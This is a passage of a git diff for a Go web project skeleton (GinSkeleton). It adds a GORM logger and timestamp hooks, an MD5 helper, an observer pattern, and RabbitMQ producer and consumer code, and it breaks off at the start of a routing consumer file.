OptionFunc func(log *logger) + +func (f OptionFunc) apply(log *logger) { + f(log) +} + +// 定义 6 个函数修改内部变量 +func SetInfoStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.infoStr = format + }) +} + +func SetWarnStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.warnStr = format + }) +} + +func SetErrStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.errStr = format + }) +} + +func SetTraceStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceStr = format + }) +} +func SetTracWarnStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceWarnStr = format + }) +} + +func SetTracErrStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceErrStr = format + }) +} + +type logger struct { + gormLog.Writer + gormLog.Config + infoStr, warnStr, errStr string + traceStr, traceErrStr, traceWarnStr string +} + +// LogMode log mode +func (l *logger) LogMode(level gormLog.LogLevel) gormLog.Interface { + newlogger := *l + newlogger.LogLevel = level + return &newlogger +} + +// Info print info +func (l logger) Info(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Info { + l.Printf(l.infoStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Warn print warn messages +func (l logger) Warn(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Warn { + l.Printf(l.warnStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Error print error messages +func (l logger) Error(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Error { + l.Printf(l.errStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Trace print sql message +func (l logger) Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error) { + if l.LogLevel <= gormLog.Silent { + return + } + + elapsed := time.Since(begin) + switch { + case err != nil && l.LogLevel >= gormLog.Error && (!errors.Is(err, gormLog.ErrRecordNotFound) || !l.IgnoreRecordNotFoundError): + sql, rows := fc() + if rows == -1 { + l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= gormLog.Warn: + sql, rows := fc() + slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold) + if rows == -1 { + l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + case l.LogLevel == gormLog.Info: + sql, rows := fc() + if rows == -1 { + l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + } +} diff --git a/GinSkeleton/app/utils/gorm_v2/hook.go b/GinSkeleton/app/utils/gorm_v2/hook.go new file mode 100644 index 0000000..478863d --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/hook.go @@ -0,0 +1,166 @@ +package gorm_v2 + +import ( + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "reflect" + "strings" + "time" +) + +// 这里的函数都是gorm的hook函数,拦截一些官方我们认为不合格的操作行为,提升项目整体的完美性 + +// MaskNotDataError 解决gorm v2 包在查询无数据时,报错问题(record not found),但是官方认为报错是应该是,我们认为查询无数据,代码一切ok,不应该报错 +func MaskNotDataError(gormDB *gorm.DB) { + gormDB.Statement.RaiseErrorOnNotFound = false +} + +// InterceptCreatePramsNotPtrError 拦截 create 函数参数如果是非指针类型的错误,新用户最容犯此错误 + +func CreateBeforeHook(gormDB *gorm.DB) { + if reflect.TypeOf(gormDB.Statement.Dest).Kind() != reflect.Ptr { + variable.ZapLog.Warn(my_errors.ErrorsGormDBCreateParamsNotPtr) + } else { + destValueOf := reflect.ValueOf(gormDB.Statement.Dest).Elem() + if destValueOf.Type().Kind() == reflect.Slice || destValueOf.Type().Kind() == reflect.Array { + inLen := destValueOf.Len() + for i := 0; i < inLen; i++ { + row := destValueOf.Index(i) + if row.Type().Kind() == reflect.Struct { + if b, column := structHasSpecialField("CreatedAt", row); b { + destValueOf.Index(i).FieldByName(column).Set(reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("UpdatedAt", row); b { + destValueOf.Index(i).FieldByName(column).Set(reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + + } else if row.Type().Kind() == reflect.Map { + if b, column := structHasSpecialField("created_at", row); b { + row.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("updated_at", row); b { + row.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } + } + } else if destValueOf.Type().Kind() == reflect.Struct { + // if destValueOf.Type().Kind() == reflect.Struct + // 参数校验无错误自动设置 CreatedAt、 UpdatedAt + if b, column := structHasSpecialField("CreatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + if b, column := structHasSpecialField("UpdatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + } else if destValueOf.Type().Kind() == reflect.Map { + if b, column := structHasSpecialField("created_at", gormDB.Statement.Dest); b { + destValueOf.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("updated_at", gormDB.Statement.Dest); b { + destValueOf.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } + } +} + +// UpdateBeforeHook +// InterceptUpdatePramsNotPtrError 拦截 save、update 函数参数如果是非指针类型的错误 +// 对于开发者来说,以结构体形式更新数,只需要在 update 、save 函数的参数前面添加 & 即可 +// 最终就可以完美兼支持、兼容 gorm 的所有回调函数 +// 但是如果是指定字段更新,例如: UpdateColumn 函数则只传递值即可,不需要做校验 +func UpdateBeforeHook(gormDB *gorm.DB) { + if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Struct { + //_ = gormDB.AddError(errors.New(my_errors.ErrorsGormDBUpdateParamsNotPtr)) + variable.ZapLog.Warn(my_errors.ErrorsGormDBUpdateParamsNotPtr) + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Map { + // 如果是调用了 gorm.Update 、updates 函数 , 在参数没有传递指针的情况下,无法触发回调函数 + + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Ptr && reflect.ValueOf(gormDB.Statement.Dest).Elem().Kind() == reflect.Struct { + // 参数校验无错误自动设置 UpdatedAt + if b, column := structHasSpecialField("UpdatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Ptr && reflect.ValueOf(gormDB.Statement.Dest).Elem().Kind() == reflect.Map { + if b, column := structHasSpecialField("updated_at", gormDB.Statement.Dest); b { + destValueOf := reflect.ValueOf(gormDB.Statement.Dest).Elem() + destValueOf.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } +} + +// structHasSpecialField 检查结构体是否有特定字段 +func structHasSpecialField(fieldName string, anyStructPtr interface{}) (bool, string) { + var tmp reflect.Type + if reflect.TypeOf(anyStructPtr).Kind() == reflect.Ptr && reflect.ValueOf(anyStructPtr).Elem().Kind() == reflect.Map { + destValueOf := reflect.ValueOf(anyStructPtr).Elem() + for _, item := range destValueOf.MapKeys() { + if item.String() == fieldName { + return true, fieldName + } + } + } else if reflect.TypeOf(anyStructPtr).Kind() == reflect.Ptr && reflect.ValueOf(anyStructPtr).Elem().Kind() == reflect.Struct { + destValueOf := reflect.ValueOf(anyStructPtr).Elem() + tf := destValueOf.Type() + for i := 0; i < tf.NumField(); i++ { + if !tf.Field(i).Anonymous && tf.Field(i).Type.Kind() != reflect.Struct { + if tf.Field(i).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tf.Field(i).Tag.Get("gorm")) + } + } else if tf.Field(i).Type.Kind() == reflect.Struct { + tmp = tf.Field(i).Type + for j := 0; j < tmp.NumField(); j++ { + if tmp.Field(j).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tmp.Field(j).Tag.Get("gorm")) + } + } + } + } + } else if reflect.Indirect(anyStructPtr.(reflect.Value)).Type().Kind() == reflect.Struct { + // 处理结构体 + destValueOf := anyStructPtr.(reflect.Value) + tf := destValueOf.Type() + for i := 0; i < tf.NumField(); i++ { + if !tf.Field(i).Anonymous && tf.Field(i).Type.Kind() != reflect.Struct { + if tf.Field(i).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tf.Field(i).Tag.Get("gorm")) + } + } else if tf.Field(i).Type.Kind() == reflect.Struct { + tmp = tf.Field(i).Type + for j := 0; j < tmp.NumField(); j++ { + if tmp.Field(j).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tmp.Field(j).Tag.Get("gorm")) + } + } + } + } + } else if reflect.Indirect(anyStructPtr.(reflect.Value)).Type().Kind() == reflect.Map { + destValueOf := anyStructPtr.(reflect.Value) + for _, item := range destValueOf.MapKeys() { + if item.String() == fieldName { + return true, fieldName + } + } + } + return false, "" +} + +// getColumnNameFromGormTag 从 gorm 标签中获取字段名 +// @defaultColumn 如果没有 gorm:column 标签为字段重命名,则使用默认字段名 +// @TagValue 字段中含有的gorm:"column:created_at" 标签值,可能的格式:1. column:created_at 、2. default:null; column:created_at 、3. column:created_at; default:null +func getColumnNameFromGormTag(defaultColumn, TagValue string) (str string) { + pos1 := strings.Index(TagValue, "column:") + if pos1 == -1 { + str = defaultColumn + return + } else { + TagValue = TagValue[pos1+7:] + } + pos2 := strings.Index(TagValue, ";") + if pos2 == -1 { + str = TagValue + } else { + str = TagValue[:pos2] + } + return strings.ReplaceAll(str, " ", "") +} diff --git a/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go b/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go new file mode 100644 index 0000000..be678c6 --- /dev/null +++ b/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go @@ -0,0 +1,18 @@ +package md5_encrypt + +import ( + "crypto/md5" + "encoding/base64" + "encoding/hex" +) + +func MD5(params string) string { + md5Ctx := md5.New() + md5Ctx.Write([]byte(params)) + return hex.EncodeToString(md5Ctx.Sum(nil)) +} + +//先base64,然后MD5 +func Base64Md5(params string) string { + return MD5(base64.StdEncoding.EncodeToString([]byte(params))) +} diff --git a/GinSkeleton/app/utils/observer_mode/observer.go b/GinSkeleton/app/utils/observer_mode/observer.go new file mode 100644 index 0000000..5d35f5f --- /dev/null +++ b/GinSkeleton/app/utils/observer_mode/observer.go @@ -0,0 +1,7 @@ +package observer_mode + +// 观察者角色(Observer)接口 +type ObserverInterface interface { + // 接收状态更新消息 + Update(*Subject) +} diff --git a/GinSkeleton/app/utils/observer_mode/subject.go b/GinSkeleton/app/utils/observer_mode/subject.go new file mode 100644 index 0000000..18eba96 --- /dev/null +++ b/GinSkeleton/app/utils/observer_mode/subject.go @@ -0,0 +1,43 @@ +package observer_mode + +import "container/list" + +// 观察者管理中心(subject) +type Subject struct { + Observers *list.List + params interface{} +} + +//注册观察者角色 +func (s *Subject) Attach(observe ObserverInterface) { + s.Observers.PushBack(observe) +} + +//删除观察者角色 +func (s *Subject) Detach(observer ObserverInterface) { + for ob := s.Observers.Front(); ob != nil; ob = ob.Next() { + if ob.Value.(*ObserverInterface) == &observer { + s.Observers.Remove(ob) + break + } + } +} + +//通知所有观察者 +func (s *Subject) Notify() { + var l_temp *list.List = list.New() + for ob := s.Observers.Front(); ob != nil; ob = ob.Next() { + l_temp.PushBack(ob.Value) + ob.Value.(ObserverInterface).Update(s) + } + s.Observers = l_temp +} + +func (s *Subject) BroadCast(args ...interface{}) { + s.params = args + s.Notify() +} + +func (s *Subject) GetParams() interface{} { + return s.params +} diff --git a/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go b/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go new file mode 100644 index 0000000..46b4163 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go @@ -0,0 +1,11 @@ +package error_record + +import "goskeleton/app/global/variable" + +// ErrorDeal 记录错误 +func ErrorDeal(err error) error { + if err != nil { + variable.ZapLog.Error(err.Error()) + } + return err +} diff --git a/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go b/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go new file mode 100644 index 0000000..8f05063 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go @@ -0,0 +1,161 @@ +package hello_world + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer() (*consumer, error) { + // 获取配置信息 + + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.HelloWorld.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.HelloWorld.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.HelloWorld.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.HelloWorld.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.HelloWorld.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.HelloWorld.RetryCount") + + if err != nil { + //log.Println(err.Error()) + return nil, err + } + cons := &consumer{ + connect: conn, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + return cons, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type consumer struct { + connect *amqp.Connection + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealSmg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealSmg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + queue.Name, + "", // 消费者标记,请确保在一个消息通道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealSmg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } +} + +// OnConnectionError 消费者端,掉线重连监听器 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go b/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go new file mode 100644 index 0000000..c005d4e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go @@ -0,0 +1,87 @@ +package hello_world + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer() (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.HelloWorld.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.HelloWorld.QueueName") + dura := variable.ConfigYml.GetBool("RabbitMq.HelloWorld.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + queueName: queueName, + durable: dura, + } + return prod, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type producer struct { + connect *amqp.Connection + queueName string + durable bool + occurError error +} + +func (p *producer) Send(data string) bool { + + // 获取一个通道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + + defer func() { + _ = ch.Close() + }() + + // 声明消息队列 + _, err = ch.QueueDeclare( + p.queueName, // 队列名称 + p.durable, //是否持久化,false模式数据全部处于内存,true会保存在erlang自带数据库,但是影响速度 + !p.durable, //生产者、消费者全部断开时是否删除队列。一般来说,数据需要持久化,就不删除;非持久化,就删除 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, // 相关参数 + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + "", // helloworld 、workqueue 模式设置为空字符串,表示使用默认交换机 + p.queueName, // routing key,注意:简单模式与队列名称相同 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go new file mode 100644 index 0000000..ac82e1d --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go @@ -0,0 +1,193 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.PublishSubscribe.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.PublishSubscribe.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.PublishSubscribe.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.PublishSubscribe.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // rabbitmq 如果启动了延迟消息队列模式。继续初始化一些参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:PublishSubscribe 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealMsg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + //队列绑定 + err = ch.QueueBind( + queue.Name, + "", //routing key, fanout 模式设置为 空 即可 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go new file mode 100644 index 0000000..b16f83e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go @@ -0,0 +1,62 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "fanout", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go new file mode 100644 index 0000000..0b0e176 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go @@ -0,0 +1,108 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.PublishSubscribe.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + args: nil, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:PublishSubscribe 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool + args amqp.Table +} + +// Send 发送消息 +// 参数: +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //fanout 模式(扇形模式,发布/订阅 模式) ,解决 发布、订阅场景相关的问题 + p.durable, //durable + !p.durable, //autodelete + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + p.queueName, // fanout 模式默认为空,表示所有订阅的消费者会接受到相同的消息 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/consumer.go b/GinSkeleton/app/utils/rabbitmq/routing/consumer.go new file mode 100644 index 0000000..50fb677 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/consumer.go @@ -0,0 +1,191 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func 